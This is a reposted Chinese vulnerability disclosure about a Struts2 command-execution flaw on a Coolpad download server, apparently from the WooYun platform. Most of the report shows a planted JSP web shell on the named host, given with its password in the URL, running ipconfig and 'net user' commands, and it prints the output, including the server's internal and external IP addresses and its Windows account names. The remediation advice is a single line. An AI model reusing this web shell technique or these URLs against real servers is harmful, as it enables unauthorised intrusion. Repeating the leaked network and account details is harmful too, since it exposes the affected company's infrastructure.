神刀安全网

漏洞標題: 神器而已之酷派某站命令执行导致Getshell(大陆地区)

漏洞詳情

披露狀態:

2016-04-13: 細節已通知廠商並且等待廠商處理中
2016-04-18: 廠商已經主動忽略漏洞,細節向公眾公開

簡要描述:

RT

詳細說明:

code 区域
http://esmdownload1.yulong.com/ftp.login.htm  st2漏洞,该打补丁了...别打运维...

http://esmdownload1.yulong.com/666.jsp?pwd=023&i=ipconfig

Windows IP Configuration





Ethernet adapter WAN:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 121.15.143.232

Subnet Mask . . . . . . . . . . . : 255.255.255.240

Default Gateway . . . . . . . . . : 121.15.143.238



Ethernet adapter LAN:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 172.16.2.54

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . :



Tunnel adapter Teredo Tunneling Pseudo-Interface:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : fe80::ffff:ffff:fffd%4

Default Gateway . . . . . . . . . :



Tunnel adapter 6to4 Tunneling Pseudo-Interface:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : 2002:790f:8fe8::790f:8fe8

Default Gateway . . . . . . . . . : 2002:c058:6301::c058:6301



Tunnel adapter Automatic Tunneling Pseudo-Interface:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : fe80::5efe:121.15.143.232%2

Default Gateway . . . . . . . . . :



Tunnel adapter Automatic Tunneling Pseudo-Interface:



Connection-specific DNS Suffix . :

IP Address. . . . . . . . . . . . : fe80::5efe:172.16.2.54%2

Default Gateway . . . . . . . . . :

code 区域
http://esmdownload1.yulong.com/666.jsp?pwd=023&i=net%20user

外网,有点骚啊,夜深人静了,学习去了。不深入了。


//FEIMIJIWAIFA ?????

-------------------------------------------------------------------------------

Administrator ASPNET Guest

IUSR_FEIMIJIWAIFA IWAM_FEIMIJIWAIFA SUPPORT_388945a0
???????

漏洞證明:

详细说明

修復方案:

补丁或者下线吧

版權聲明:轉載請註明來源 路人甲@烏雲

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞標題: 神器而已之酷派某站命令执行导致Getshell(大陆地区)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址